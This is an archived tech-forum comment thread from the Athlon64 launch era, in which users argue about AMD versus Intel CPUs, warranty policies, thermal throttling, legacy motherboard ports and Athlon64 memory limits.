I just heard Matt Dillon bought a AMD64 motherboard to do DragonFlyBSD work on, so it'll be coming soon!

facecious, but...

[jo_ham]

apple.com/powermac for all your wants in that list (well, maybe not "low price" but low is a relative term at the cutting edge.

We just bought a Dual G5 and slapped a metric asston of RAM in it and it really is a video editor's dream. Final Cut Pro 4, Compressor and DVD Studio Pro 1.5 scream along.

We didn't really need to upgeade the Dual 450 G4 we were using, but we felt like treating ourselves.

Sure.

[Namarrgon]

If you consider a 0.5% lead in a synthetic benchmark to be "schooled", I suppose. And ignore the other 3 graphs on that page.

Re:Sure.

[Anonymous Coward]

If you consider a negligible lead in a couple graphs to be "rolled over," I suppose.

Re:Sure.

[Anonymous Coward]

Not to mention that they use the crippled 865 Intel chipset. Try again with the 875...It's closer than you think.

In addition to that...the 3.2GHz P4 is now something like $390 on newegg.com
How much is the A64 again --- more expensive.

Re:Sure.

[Anonymous Coward]

$395.
The A64 is almost twice that.
Hell, a 3.2 Xeon in about $80 or so more than the A64.

Re:Sure.

[Anonymous Coward]

Anyone know the exact release date of the Extreme Edition? I've got an Abit IC7-G waiting for a chip and I need to know if I should wait just a little bit longer for the Extreme Edition.

3 more socket 754 boards reviewed

[heli0]

Chaintech ZNF3-150, FIC K8-800T, and MSI K8T

Chaintech ZNF3-150 = nVidia nForce3
FIC K8-800T and MSI K8T = VIA K8T800

Silk Purse

[ratfynk]

"all bench marks will be run with the 32 bit version of Windows XP, because the 64 bit version has not been released to the public yet"

I think this might be another case of turning a silk purse into a sows ear!

too bad....

[MoFoQ]

too bad that the damage has been done before AMD finally released a more promising cpu with an integrated heatspreader (to prevent crushed core syndrome). That and AMD's not so good track record with warranty (I've been burned twice for several cpus; once for each cpu and twice for each time I had the hair-pulling warranty experience), I've become what I call the fallen one for I have gone to the darkside.....gone to P4's. And man, I've thrown just about everything except the kitchen sink at it and it's still tickin'.

As for the newer warranty bullcrap about thermal grease, that's like adding concrete to AMD's already nailed up coffin. The last GOOD athlon was the slot A, I still have a few that run just fine.

Now, before ppl start trying to kill me, just remind yourselves, how many AMD cpus have you killed? And yes, performance per clock cycle wise, AMD's kick arse and then some but what good is performance if it's more fragile than a paper chain tethering a bull in a china shop? If it's dead, performance ....well... is non-existent.
And the warranty policy about thermal grease and non-stock heatsinks, well...that's just bs.

Besides, I like my P4 that has thermal throttling that works and responds fast to the temp.

Of course, I don't plan to abandon AMD cpus forever; I'm just more cautious and less enthused about new products. (I still have my dual athlon XP->MP (Barton core) project in the works but it's been slow).

All this coming from who my friends called the AMD nut. Well...not any more. It's all fair game now (maybe except Via's). Hell, I've love to have that P4 3.2 with the 2MB of L2 cache.

Re:too bad....

[Anonymous Coward]

Most people can fit an Athlon processor and heatsink without damaging the core.

I really don't know how people manage to damage the core.

Still, now the core has protection because of the minority of useless people who can't install a heatsink.

Re:too bad....

[tuffy]

Now, before ppl start trying to kill me, just remind yourselves, how many AMD cpus have you killed?

I've owned four AMD chips going on five. Perhaps my usage patterns differ from yours, but I haven't experienced a CPU failure yet.

Re:too bad....

[Anonymous Coward]

I know you are a troll, but I enter the fray anyway.

Why should they support heatsinks other than their own? They know nothing about them. And why are you installing said heatsinks? So you can o/c? Thats not covered in the warranty dude. You wanna go inside your wood drill and "overclock" it and expect the company to give you a refund when it breaks?

I am sorry but if you wanna be a fool who can't attach heatsinks properly and burn out your chips for a 4% performance increase or whatever - you can suffer the consequences. Don't expect AMD, or anyone else, to pay for your mistakes.

I don't mind overclockers, but just keep in mind that if the chips are burning out, then there was probably a REASON they didn't come clocked that high and nobody but you should have to pay for doing that.

Re:too bad....

[Anonymous Coward]

Troll!

I have made many systems with the naked core. I haven't killed one yet. But I don't get ham-fisted when installing the heatsink!

What I like about the 64-bit Athlons versus Intel's Itanium architecture is the refusal to buy into Intel's promise of better performance after compilers are modified to accomodate the architectural differences. Bullshit! Everyone must adapt to Intel's changes only because Intel doesn't know how to make processors that execute today's code faster plus meet tomorrow's needs. AMD seems to do that.

Consumers have been through several of Intel's "this would be faster if only compilers were adapted to take advantage of our architecture" only to find that there is no advantage to their architecture. Most of their supposed advantages exist only in intel's manufactuing or design process. They don't represent any advantage to the consumer, only Intel.

Re:too bad....

[MoFoQ]

sorry, I don't overclock. (not even with my new P4).
I have had 6 Athlons and a Duron, from Slot A to Socket A (Tbird and XP). The only ones still alive are my Slot A's (which I think r0x) and my XP, due in part because the retailer I got it from was the one who issued the warranty. And I mostly buy boxed versions (except for one of my Slot A's and the XP that came with 3yrs of retailer warranty) and for the record, the socket A's had stock heatsinks while the Slot A, I used one of those huge alpha 7125.

Re:too bad....

[MoFoQ]

I have had more, including the dead ones.
The Slot A and my K6-3 are the only ones that have lived.

The cartridge made the Slot A more rugged and durable and easier to control. It's weird that AMD didn't find an alternative cartridge method to solve the cost issues of the cartridge based cpu's. One possible way is to have a cartridge that takes socket cpus so the consumer has only one cartridge to get and it makes certain that the cpu is protected; no need for the motherboard to have throttling features as the cartridge will do it. Plus if cartridges can be customized, more cache, dual socket, etc. And added benefit is dust protection (or pet hair).

Re:too bad....

[MoFoQ]

actually, the core protection is because OEMs asked for it. They are the ones who have to worry the most about crushed core syndrome since it hits their bottom line.

And if you've ever REALLY looked at the cpu's sponge thingies, some times it can be uneven and since they sponges aren't stiff enough, it acts like independent suspension; it can tilt.

As for the minority crack, try applying that logic to pharmaceuticals or cars for that matter. Sure, maybe ephedra didn't kill too many ppl if you consider 6 billion in the world.

Words to think about.

Re:too bad....

[Loki_1929]

"how many AMD cpus have you killed?"

I've installed hundreds without having damaged a single one. The ones I've seen die in the several years I've worked with them were always due to fan failure or power problems. I've seen at least two Celerons suffer heat death also.

" what good is performance if it's more fragile than a paper chain tethering a bull in a china shop? If it's dead, performance ....well... is non-existent."

That's quite the large 'if'. Are you installing your CPUs with a hammer? I've had plenty of mishaps installing CPUs before, but never had one damaged because of it. I'm truly at a loss as to just what it is you could possibly be doing to have so many problems.

"And the warranty policy about thermal grease and non-stock heatsinks, well...that's just bs."

This is like saying that Ford should warranty repair the engine in your 2003 Mustang after you replaced the motor oil with Diet Coke following a reading from some website. The warranty states that the product will perform correctly under normal operating conditions. That you have altered said conditions inately voids any warranty. Any warranty work provided thereafter is simply a curtousy. Your misuse of AMD's (or anyone else's) product is not AMD's problem. Either adhere to the warranty conditions or do not expect to receive warranty work; it's that simple.

"Besides, I like my P4 that has thermal throttling that works and responds fast to the temp."

This is such a lousy idea. Let me ask you this: when your CPU is overheating, what will you do to correct it? The correct answer is: nothing. Why? Because your CPU gives no indications of overheating. Assuming you have an issue with your CPU fan, your computer will simply seem slower and slower over time, making you think it's time for an upgrade. On an AMD or PIII system, the computer crashes when there is a problem. This is known as a 'symptom'. If you do not have any symptoms, chances are that you will never solve the problem because you simply won't know about it. I'd rather have chronic crashing which leads me to the source of the problem than to have some vague problem such as: 'it's running slowly'.

"Of course, I don't plan to abandon AMD cpus forever; I'm just more cautious and less enthused about new products. (I still have my dual athlon XP->MP (Barton core) project in the works but it's been slow)."

Again with your CPU modification. You expect to be able to modify the product yet continue to receive warranty assurance on it. Let me let you in on a little secret: if you modify your P4 in any way, you will void your warranty - just like an Athlon.

"Hell, I've love to have that P4 3.2 with the 2MB of L2 cache."

I'd love to have one as well, if such a creature existed. Unfortunately, if it did, it would cost an enormous amount of money. Thus, Intel's compromise was to remark a Xeon with 2MB L3 as a run-of-the-mill Pentium 4 EE (Extremely Expensive). On the other hand, I could buy an Athlon64 FX-51 for about $150 less and get far better performance which will increase over time as applications are better optimized.

And just so you don't think I won't address the quality issue, I'd be happy to do so. Just take a look here. Recall after recall, bug after bug, Intel proves beyond any doubt that good marketing erases years of ineptitude.

Re:too bad....

[binary paladin]

The only one I lost was on an Abit KT133A board (I don't remember the model) but combined with an orb cooler I killed my first 1GHz processor (it was a dark, dark day). I was tired and frustrated and the damn thing didn't fit (incidently I killed the mobo too) and I tried to force it. My own damn fault really. I never understood the whole T-bird/Flipchip design. I liked my old K6-3 with it's shield on the top and I'm glad to see AMD's gone back to them.

Re:too bad....

[Anonymous Coward]

It's a thermal engineering thing, and actually Intel started that (by flipping the chip, you get direct contact with the heat sink, instead of having to pass the heat through the poorer-conducting ceramic package that CPUs used to use). However, nobody seems to complain about the number of Intel chips they've busted; I think it's just a bias, or maybe because fewer Intel customers are going to attach ginormous heat sinks to their CPUs. Anyway, they also started the move back to using metal heat spreaders.

Re:too bad....

[Anonymous Coward]

I agree with most of your points, except the one about the thermal throttling; that's simply good engineering. Remember, engineers design things to prevent stupid people from hurting themselves. When you're working on a 50 page paper, would you rather your computer inexplicably slow down, or crash and lose all your work since your last save, or even worse burn up?

Perhaps it could pop-up a scary warning message to tell you what's happening (I think there's software that will do it, and the computer inept/fearful will always listen to any sort of scary message), but to call this feature unnecessary is like saying anti-lock brakes are unnecessary, because a good driver using proper technique won't lock up the brakes to begin with.

Re:too bad....

[Anonymous Coward]

maybe more ppl buy amd's, thus more ppl with dead cpus even if the percentage is the same.

Re:too bad....

[Anonymous Coward]

Because your CPU gives no indications of overheating.

never heard of MBM?

Re:too bad....

[MoFoQ]

Here we go again, with the assumptions. Did I say I modified the said dead cpus? Now if replacing a dying fan (was making bad bearing noises), does that constitute "modifying" in your book?

As for the oil thing, hell no, but if Ford voids the warranty for me using non-Ford motor oil (quakerstate or penzoil or royal purple for that matter), even if the specs match the owner's manual, then there's an issue. Of course, I would expect them to have a recall if the infamous exploding tank issue "pops" up (like the Crown Vics).

And no, I myself have not had any cpus, AMD or otherwise, recent or in the past die because of a crushed core but the possibility of it is there, more so if the ceramic core is exposed.

Re:too bad....

[MoFoQ]

been there, done that.....luckily, I saw it coming (hot summer days) and got a big box fan for the whole computer.

now with throttling, you should be able to tell if it's throttling just by looking at your system properties (it reports the clock cycle).

Re:too bad....

[Loki_1929]

"never heard of MBM?"

Someone using a temperature monitor will have little use for throttling. If your fan is dying and your CPU begins to overheat, you'll see the warning long before the computer crashes and have the opportunity to fix the problem. My problem with simply throttling without a built-in warning of some sort is that most users will simply go on about their business without ever knowing their CPU has a problem. In the mean time, they're burning up the silicon and seeing a slowdown in computing speed. If I were a paranoid conspiracy theorist, I'd surmise that Intel was using this to sell CPU upgrades.

Re:too bad....

[Loki_1929]

"the thermal throttling; that's simply good engineering."

It would be good engineering if there were an unignorable (as in very annoying) warning regarding the overheating problem. As it stands, the user goes on about their business with no idea there's a problem. I mispoke when I said it was a lousy idea. My problem is less with the idea or the technology than with the implementation.

"Perhaps it could pop-up a scary warning message to tell you what's happening (I think there's software that will do it, and the computer inept/fearful will always listen to any sort of scary message), "

Perhaps making the system speaker go nuts, or, with the new voice-enabled BIOSs, having a message that reads something like: "CPU's too hot, fix it now or I'll kill you" - something to that effect - would present a far tastier feature. An improvement would be to temporary shut down parts of the CPU (pipelines, registers, etc) that are most severely overheated. Even at the lower clock frequency, you're going to cook some silicon seeing as the CPU was overheated to begin with.

Re:too bad....

[Loki_1929]

"Did I say I modified the said dead cpus?"

Not specifically, though you've already talked about replacing the thermal compound and modifying the bridges of an AthlonXP for use in a dual-CPU system.

"Now if replacing a dying fan (was making bad bearing noises), does that constitute "modifying" in your book?"

In my book, I would say it depends whether the heatsink and fan you're using as a replacement are reasonably similar in design and cooling ability to the stock cooling unit. If you're replacing a stock HSF with a goofy looking Golden Orb, then yes, I'd say that's a significant modification. That being said, the warranty specifically states that you void it when you use a cooling unit not provided. Intel's warranty has similar language. Basically, they don't want to be held responsible for decisions that are out of their control. If you stuck a Socket 7 cooling device on your Athlon, do you still think AMD should be held responsible for what happens to it?

"As for the oil thing, hell no, but if Ford voids the warranty for me using non-Ford motor oil (quakerstate or penzoil or royal purple for that matter), even if the specs match the owner's manual, then there's an issue."

In this case, "Ford" is providing (free of charge) motor oil which lasts longer than the 'car' and is specifically tested to function properly with that particular engine. Ford cannot be held responsible for what an untested, unapproved oil does to their engine. This is why they tell you that the warranty exists only so long as you use the provided materials to maintain the product. You're saying that having specifically ignored the warranty conditions, you're upset that the warranty was void as per the warranty itself. Basically, you're angry that the warranty did what it said. Check your Intel warranty - it's essentially the same thing.

"And no, I myself have not had any cpus, AMD or otherwise, recent or in the past die because of a crushed core but the possibility of it is there, more so if the ceramic core is exposed."

So you're complaining about a theoretical possibility which you've never experienced? On that note, I'm pretty upset with my car's manufacturer, because my car won't start up if a meteorite slams into the engine. What kind of shoddy workmanship is that?! Seriously though, I have never figured out how it is that so many people have damaged their CPUs. It's not exactly rocket science, and there's no real skill to it at all. Put the CPU in, put the HSF on top, push the metal clamp down. I honestly don't think I'm exaggerating when I say that a monkey could be trained to perform this task without causing damage (following training, not during). The real complaint here is that AMD didn't protect its CPUs from the masses of ignorant and stupid people who are jacks of all trades; masters of none. For that, AMD, like Intel, is guilty. Between bent pins, overheated CPUs, globs of conductive thermal grease connecting random bridges, and people who still don't have a surge protector and continue using the computer during thunderstorms, no CPU is truly safe, regardless of its engineering. On this front, I'd have to say that VIA's C3 embedded CPUs offer the best protection. Basically, with the CPU embedded and the HSF already mounted by a non-moron, there's not a whole lot left for the user to screw up.

Re:too bad....

[ChaoticLimbs]

Not too sure how you managed to get so many bad processors, but I do need to clean the heatsink and fan assembly every two months because it's in a carpeted room with 2 cats. If the fan stops for a minute, the chip will die. Sorry about your luck.

Yes, but then there's the "Mandrake Problem"

[Call Me Black Cloud]

I heard that just installing Mandrake linux causes 32 of the 64 bits to fall off...pass it on...

Re:Yes, but then there's the "Mandrake Problem"

[Anonymous Coward]

Mandrake has had AMD64 support for a quite a while now and 9.2 is currently in beta2 for it, which is one of the reasons I just bought an Athlon64. (Going with the Asus K8V, incidentally.)

p43.2 price cuts

[Anonymous Coward]

I'm a bit of an AMD fan-boy.... but just recently P4 had a HUGE price cut at the top-end...

Last week:
AMD 64 3200 = $729 (AUD)
P4 3.2 = $1069 (AUD)

Now:
AMD 64 3200 = $729 (AUD)
P4 3.2 = $718 (AUD)

And while engineering finesse means gaming performance is high for the AMDs the P4 still rules in video editing (my upgrade reason), not only because of higher clocks which are better for encoding, but because Adobe tweaks for intel and not AMD.

P4 motherboards are generally more expensive, as is dual channel ram... so I suppose the AMD is still the cheaper solution.

I am torn, but at least competition is forcing them to release technology according to availability rather than according to when the marketing department says we need the next chip.

I wish SuSe would make more of an effort with video editing. I have heard good things about MainActor - but they should try and convince Adobe or one of the "big" video editing guys to port. Releasing a BETA of mainactor with SuSe 9 isn't good enough, you either have production ready software or you don't.

The other option for SuSe is to develop in-house to make things go faster, perhaps buying up (or merging with) one of the smaller video editing companies. They would soon then be on the path to become the "apple" of the PC world.

Think about it:
Open Office 1.1
Mozilla 1.5
good CD/DVD authoring software (DVD menus authoring, not just plain burns)
A decent video editing suite
A industry level raster/vector suite (preferrably through pouring money into the GIMP rather than going closed)
Sweet intergrated WM, KDE, GNOME, whatever...

The games are already beginning to trickle in;
with server, office package, audio/video/imaging and games.... you have a clean sweep of business and home markets. Repeat "virus free and stable" mantra and you have all the people who can't afford a Mac comming to your door.

I can fit out a silent running amd64 system with RAID and double the RAM of a G5 for almost half the cost of the dual G5. God, just give me the OS to run on it.

"give us the tools, and we will finish the job" --churchill

Re:p43.2 price cuts

[Anonymous Coward]

higher clocks which are better for encoding,

what person in this day and age are even touching analog video?

I can edit and do everything you can on my P-III.

more clocks mean less render time... that is all.

another non-knowing wannabe video editing person... nice.

We have already reviewed 5 Athlon 64 motherboards

[ruiner5000]

So why no link to our reviews. :)

AMD to cut prices tomorrow

[Anonymous Coward]

So says The Register.

why, oh why..

[ffsnjb]

Can't they leave off the serial/parallel and ps2 ports? Removing the floppy connector, ata-133 and on-board audio would be great. They're totally unneccessary in this day and age for me, probably many others too. For those who need them, they should be an option. Even Abit's KV8-MAX3 has ps2 ports, which is a shame.

I'd probably drool and swipe the credit card if I could get an A64 board with 8 DDR slots, PCI Express, dual Gb LAN, 8 usb2 ports and 4 FW800 ports on the backpanel. 8 SATA connectors would sweeten the deal.

Re:why, oh why..

[Anonymous Coward]

Absolutely! I really hate the fact that I still have PS2, serial and parallel ports on my P4 system.

I don't have a floppy drive installed, and while I do still use PATA100 drives, I'll soon be upgrading them. So please let me buy a motherboard that has none of this!

I could get an A64 board with 8 DDR slots

It's a real shame that the A64's need (well they don't need, but y'know, 4 per CPU or whatever the reasoning is) 8 DDR slots. Big shame. That shouldn't be the case at all. The last motherboard I owned that had 8 slots was an old 486 one (I had 4x4Mb and 4x1Mb). Just makes it feel like... there's some weird design going on. You should be able to just buy a stick or two and that's that.

Re:why, oh why..

[Anonymous Coward]

Can't they leave off the serial/parallel and ps2 ports? Removing the floppy connector, ata-133 and on-board audio would be great. They're totally unneccessary in this day and age for me, probably many others too. For those who need them, they should be an option. Even Abit's KV8-MAX3 has ps2 ports, which is a shame.

Why, oh why, do people bitch when companies don't remove useful features? Why do you need 8 usb2 ports anyway? Get a hub... my usb1 hub has 7 ports.. woopie. As for PS/2, I still use PS/2 mice and keyboards all the time. They just work great and I don't need to rely on my OS having USB support (sometimes it doesn't).

Re:why, oh why..

[Anonymous Coward]

I am still using a 5 year old Dell Quietkey keyboard. I am not getting rid of it just to have a mobo with one less port.

Re:why, oh why..

[Anonymous Coward]

Because as soon as you rip everything out to please a person like you, you're only selling to a tiny part of the market.
Take me; I'm in a fiber-optic gigabit environment, so i say "get rid of the worthless dual lan stuff!" and i have no firewire devices or sata drives, and i find boot floppies useful on occasion, so while I might want to dump many features, they'd be a different set from yours. Obviously manufacturers have to leave in features for everyone, not make a custom board for every user.

That being said, i wouldn't mind losing the parallel/serial ports ;)

Re:why, oh why..

[Anonymous Coward]

As long as the biggies like Dell and HP are shipping a full set of ports on 99% of their models, the ports will remain.

Re:why, oh why..

[ffsnjb]

On a single proc board, using a couple 4 GB sticks would be ok (I want one for $100, please.), but on a 2+ proc board, you'd want the extra slots to take advantage of the multiple memory controllers.

Re:why, oh why..

[ffsnjb]

Let me guess, you want ISA slots on an A64 board too? I can send you a buttload of usb->ps2 adapters, all you pay is shipping. Hell, you could probably rig a USB keyboard to work with an AT mobo. I should try that with parts laying around here.

Re:why, oh why..

[Anonymous Coward]

I'd probably drool and swipe the credit card if I could get an A64 board with 8 DDR slots, PCI Express, dual Gb LAN, 8 usb2 ports and 4 FW800 ports on the backpanel. 8 SATA connectors would sweeten the deal.

It's easy. Just buy an Apple G5 like I did. You'll get most of what you're askin for.

Re:why, oh why..

[ShadowDrake]

and while I do still use PATA100 drives, I'll soon be upgrading them.

Where do they sell SATA CD burners? (I'm serious)

Serial and parallel are wonderfully hackable. There are plenty of fun exciting assemble-it-yourself projects that hang off of the parallel port.

Re:why, oh why..

[ffsnjb]

I'd even give up the rj-45 ports, thats what the PCI Express bus would be for.

And I haven't had a floppy drive in a machine in 5 years (no, I don't have a Mac, yet.) Boot with a CD, man.

Seriously, if a company would dump all the legacy ports from a board for an "extreme-geek" line, I'd buy 10, maybe more. I imagine there's a market for it.

Re:why, oh why..

[ffsnjb]

Where do they sell SATA CD burners? (I'm serious)

Good question. For now, I'd either use a PATA-SATA converter or go with fw800 for optical drives.

Re:why, oh why..

[pi eater]

what are you talking about?

i wish my box had a pc speaker built in.. playing all those oldschool games just isn't the same with an audigy 2 w/ $400 logitech speakers

geek gear

Re:why, oh why..

[Rob Simpson]

And they'd save what, 2 bucks? PS2 is a hell of a lot more reliable, and I'm not interested in buying some stupid adapter. And why is on-board audio unnecessary? Who needs an Audigy 2 besides hardcore gamers? Far too many people use these features to consider dropping them... okay, except for the floppy drive.

Now, not having tons of DDR slots on a motherboard designed for a 64-bit processor is just dumb...

Re:why, oh why..

[parkanoid]

An "extreme geek" would use a model M or an OmniKey- which use PS/2, which falls under the "legacy" category ;-)

Re:why, oh why..

[ffsnjb]

I don't want shit on-board sound when doing real sound work. Why waste the board space when a firewire link to a MOTU unit is so much better?

Re:why, oh why..

[ffsnjb]

I'm using a model M with a ps2-USB adapter right now. I bet pckeyboards.com would make a USB native version of the model M with enough pressure, considering they make both AT and ps2 versions.

Re:why, oh why..

[Rob Simpson]

Um, because the second option costs more , while the first can be turned off in the bios by the 5% that won't use it.

Re:why, oh why..

[MattBurke]

Serial ports are incredibly useful for remotely fixing broken BSD boxes (or Linux if you bother to set it up)

Floppy drives are (unfortunately) REQUIRED to install Windows on SATA drives.

Re:why, oh why..

[ameoba]

Well, you've got 2 different requests there; to remove the legacy crap and to put on high-end goodies. PATA's going to stay until you can find SATA CD drives and have SATA drives that perform better for less money (Raptor's are sweet, but too damned expensive right now).

As for the rest of the stuff, you're not looking at the right end of the product line; the Athlon64 is the low-end of the 64bit lineup. Look towards the Athlon64FX and Opteron for your high-end workstation & server needs, you'll find more of those things there.

The Athlon64 is primarily marketed at gamers who want more performance out of their 32bit apps; being 64bit is just a nice bonus that might come in handy some time down the line. It's closest competition from Intel isn't the Xeon or the Itanium but the P4 Extreme Edition.

Re:why, oh why..

[bastion_xx]

Floppy drives are (unfortunately) REQUIRED to install Windows on SATA drives.


Ain't that just so true. A year and a half ago I built my first PC w/o a floppy. Little did I know that I'd need to insert a floppy disk for the on-board RAID controller (Promise).

This time around I purchased a USB floppy drive. Detected and usable during an XP install. Best this is I can unplug the bastard and put it away for those yearly system rebuilds.

Re:why, oh why..

[MattBurke]

usb drives are recognised? damn! i got one of those with a laptop... i could have saved myself having to buy a fixed one :/

Re:why, oh why..

[the grace of R'hllor]

What's wrong with PS/2? It's great to hook keyboard and mouse to, and that is their only use! I've got other things to plug into my USB ports, like a tablet, printer, scanner, joystick, and lots of other things I might buy in the future.

General purpose ports are nice and all, but I'll have a keyboard and mouse for many years to come. I keep the keyboard and mouse PS/2, and voila, two extra USB ports.

Re:why, oh why..

[stienman]

Remove the legacy connectors and you shut out a fairly large market. Point of Sale, is one, but the other big one is being able to replace old hardware. I do work for a small chain of video stores, still running Novell 3.1 and DOS in their stores. The printers use parallel and serial, cash drawers are serial, and barcode scanners are AT or PS2.

Some things (like the barcode scanner) can use USB with BIOS USB legacy support enabled, but the PCI parallel and serial port cards don't work under DOS, and you can't get inexpensive motherboards that support modern cheap processors with ISA slots.

So the support of older peripherals, and support of older systems, is still a sizeable market.

It would be easier if BIOS makers would simply create a "Support Legacy Parallel/Serial USB Dongles" so a USB serial dongle would appear as com1 under dos, etc.

-Adam

Re:why, oh why..

[mr3038]

I don't want shit on-board sound when doing real sound work.

Pretty much any on-board sound system can output PCM via SPDIF. Do you think that the PCM output from el cheapo on-board sound chipset is somehow different from the same signal outputted via the most expensive external system?

I don't have enough money to buy amplifier that has multichannel PCM input so I'll rather take a board based on nForce2 (x86) that has Dolby Digital multichannel output via SPDIF. Yeah, the signal is compressed but I consider DD signal better than any analog audio path.

If you're one with the golden ears and you think you can hear the difference between DD and PCM audio, I feel sorry for you.

Re:why, oh why..

[You're All Wrong]

What about those of us who have DIN5 keyboard plugs?
That's real legacy.

YAW.

Re:why, oh why..

[Zathrus]

Can't they leave off the serial/parallel and ps2 ports?

Sure. Go buy one of the Abit legacy free boards (not yet available for AMD64 -- doubt it ever will be). Better be quick though -- they haven't been selling well because they shut out a large portion of the market and don't give you anything that Asus or other brands don't have as well, while costing more than the competitors as well.

Removing the floppy connector, ata-133 and on-board audio would be great.

No, that'd be pretty flaming stupid. Remove parallel ATA and you cannot put in any kind of optical drive -- SATA is not designed to work with them. The parallel ATA->serial ATA convertors do not work with them. And there's no plans to release SATA optical drives at this time. Removing the floppy might be possible, except that you're lacking another bootable device now and there are still some devices that come with device drivers on floppy only. As for onboard audio -- if you have a high end audio setup that could actually benefit from improved sound (which, as onboard audio improves and computer speakers continue to suck rocks, is less and less likely) then go for it. You'd save maybe $5 by removing the chip. What's the point?

A64 board with 8 DDR slots

If you want Opteron, it's available. If you don't want Opteron it's not. The Athlon64 and Athlon FX lines cannot support that many slots.

PCI Express

Available.

dual Gb LAN

Not available on any motherboard that I've heard of for x86.

8 usb2 ports and 4 FW800 ports on the backpanel

Available, but not all on the backpanel. Ever heard of a hub?

8 SATA connectors would sweeten the deal

Don't think I've seen a board with more than 4 SATA connectors. Not even sure it's allowed by the standard.

What I find humorous about all of this is your alleged high-end bias, and yet you want SATA. If you're actually doing professional audio work (as you claim later) then you really should be using SCSI for the hard drives at least.

Re:why, oh why..

[Qzukk]

Theres a reason for the PS/2 ports. See, a PS/2 mouse prevents your AMD system from crashing. Don't believe me? Read AMD's errata for the AMD 768 PDF Here and look at issue #10.

I discovered this from a post on the LKML when I was trying to diagnose strange crashes that occurred when doing IO-intensive stuff. I actually thought it was a bug in the kernel IDE driver for the 768. Sure enough, I plugged in an old dying ps/2 mouse and could write 2 GB of data to the drive without a problem, when it normally would have locked up hard with no errors somewhere between 900 and 1100MB.

Re:why, oh why..

[Tumbleweed]

Forget a SATA CD burner - go with FireWire (FW800, 1394.b). Yum.

Re:why, oh why..

[Eraser_]

To comment on onboard audio portion, I have had many many many compatibility issues with regular sound cards. They tend to be insanely quiet, dont amp up well even on my 30$ speakers. I added a $20 sound card to the computer thinking "cool, loud", and a lot of apps (the sims, winamp) have problems because of the onboard audio port.

Screw floppies. Put your stuff on CD if it's that critical. No offense but macs have gotten along fine without them for years. My PC has also. Sure my $3 realtek NIC only comes with a floppy, but Windows XP, FreeBSD, and Linux all support it out of the box.

Re:why, oh why..

[Anonymous Coward]

maybe you didn't get the part about some OSs not supporting usb....

boob.

3 GB?

[Namarrgon]

... which the article says supports only 2GB of RAM. Why do they say that? The MSI board specs they list show:

- Supports three 184-pin DDR SDRAMs up to 2GB memory size

Why would you get a 2 GB total limit from 3 memory slots? I read that as the DIMMs being 2 GB each, which sounds like 6 GB to me.

The Asus and Shuttle boards seem a bit firmer about their memory limits, but they claim a 3 GB limit. And the Asus board uses the same chipset as the MSI - the Via K8T800, which Via says has a 4 GB memory limit - so someone's confused. I know I am.

Re:3 GB?

[Yottabyte84]

My mobo is like that too. 3 slots, takes up to 256MB each, but no more then 512MB total.

Re:3 GB?

[Namarrgon]

That sounds like a chipset limitation, such as the old 440BX boards had. I can see the reason behind that.

These boards use the K8T800 chipset which has a 4 GB limit. I'm wondering what it is that stops them using even that much.

Re:3 GB?

[afidel]

Actually the memory controller is on the CPU so there any limitation should be with the CPU and be common to all three boards. I really can't see where the artificially low max memory counts are coming from, the Athlon64 supports either 4 registered DIMM's (8GB total), or 3 unbuffered DIMM's (6GB total). Of course most people who are buying an Athlon64 instead of an Athlon64 FX or Opteron are not going to spend the huge sums necessary for 2GB registered DIMM's =)

Re:3 GB?

[afidel]

Doh, hate to reply to myself but now that I have read a bit more into the Athlon64 data sheet I see where things are happening, for DDR400 DDR the Athlon64 is limited to 2 unbuffered DIMM's:
-- Up to three unbuffered DIMMs according to the loading described in Table 3 on page 16
-- Up to four registered DIMMs (note DDR400 not available on registered DIMMs)
The controller provides programmable control of DRAM timing parameters to support the following
memory speeds:
-- 100-MHz (DDR200) PC-1600 DIMMs
-- 133-MHz (DDR266) PC-2100 DIMMs
-- 166-MHz (DDR333) PC-2700 DIMMs
-- 200-MHz (DDR400) PC-3200 DIMMs (unbuffered DIMMs only, two maximum)

So with cheap unregistered DIMM's you are only going to get to either 2GB at DDR400 or 3GB at DDR333. I guess AMD's engineer's didn't figure it was worth the cost to support more ram on their lower end chip where the typical user would never get near the limit due to costs anyways.

This is all from http://www.amd.com/us-en/assets/content_type/white _papers_and_tech_docs/24659.PDF

Re:3 GB?

[legality]

I guess AMD's engineer's didn't figure it was worth the cost to support more ram on their lower end chip where the typical user would never get near the limit due to costs anyways. That sounds like, "640k should be enough for anyone!"

Re:3 GB?

[afidel]

More like: "If the really need to pay >$1,000 per 2GB registered DIMM then paying an extra $100 for the CPU to support it is not a big deal" =)

No 2 GB DIMMs?

[Namarrgon]

What are these then?

Re:No 2 GB DIMMs?

[Wesley Felter]

Those are "2GB kits", which is marketing-speak for a box with two 1GB DIMMs in it. Real 2GB DIMMS are $1600 each, which is beyond the budget of the hardware review sites and most of their readers.

Re:No 2 GB DIMMs?

[ctxspy]

The last one is actually a single 2 gig stick, costs $1175.

Re:No 2 GB DIMMs?

[Anonymous Coward]

How about you follow one of the links:
http://www.komusa.com/2gbkitddpfor.html

2GB kit (1GB x 2pcs.)

Re:No 2 GB DIMMs?

[Namarrgon]

As you say. Things are apparently less friendly in the Mac world than one might be led to believe, if vendors try that sort of stunt. Are they suppopsed to be custom matched to each other, like speakers? ;-)

There is still this one. Insane price, but at least it's registered.

Re:No 2 GB DIMMs?

[l33t mn!ml]

What are these [pricewatch.com] then?

expensive.

Re:No 2 GB DIMMs?

[RichardX]

Thankyou, you asked the magic question! I was starting to think I was stupid for being the only one

No, no, not that stuff about RAM, I'm talking about your sig.. ytf WOULD anyone ever engrave "Elbereth" without being prompted to do so?!

Re:too bad....I smell cpu smoke!

[ratfynk]

Sounds like the complaints of another disgruntled overclocker. I suggest you go to an OCA meeting.... OVERCLOCKERS ANONYMOUS Get it out of your system you like to be able fry eggs on your MB, or heat your room. You like it when your screen suddenly freezes or you have to quicly shut the power off before the smoke starts! This kind of destructive behaviour can be unlearned!

Nice Apple ad...

[SaDan]

(yeah, flame me, mod me, blow me)

apple.com/powermac for all your wants in that list (well, maybe not "low price" but low is a relative term at the cutting edge.

Gimme a break. His wants in that list more than likely revolve around software he can't use on a Mac.

We just bought a Dual G5 and slapped a metric asston of RAM in it and it really is a video editor's dream. Final Cut Pro 4, Compressor and DVD Studio Pro 1.5 scream along.

This is why I stick to standard units of measure, like "megabyte" and "gigabyte". What's the going rate on "a metric asston" of RAM these days for a G5 system? What's the conversion formula to get that figure into megabytes?

We didn't really need to upgeade the Dual 450 G4 we were using, but we felt like treating ourselves.

Treat yourselves to a spell checker and a clue. Thank you.

Re:Nice Apple ad...

[jo_ham]

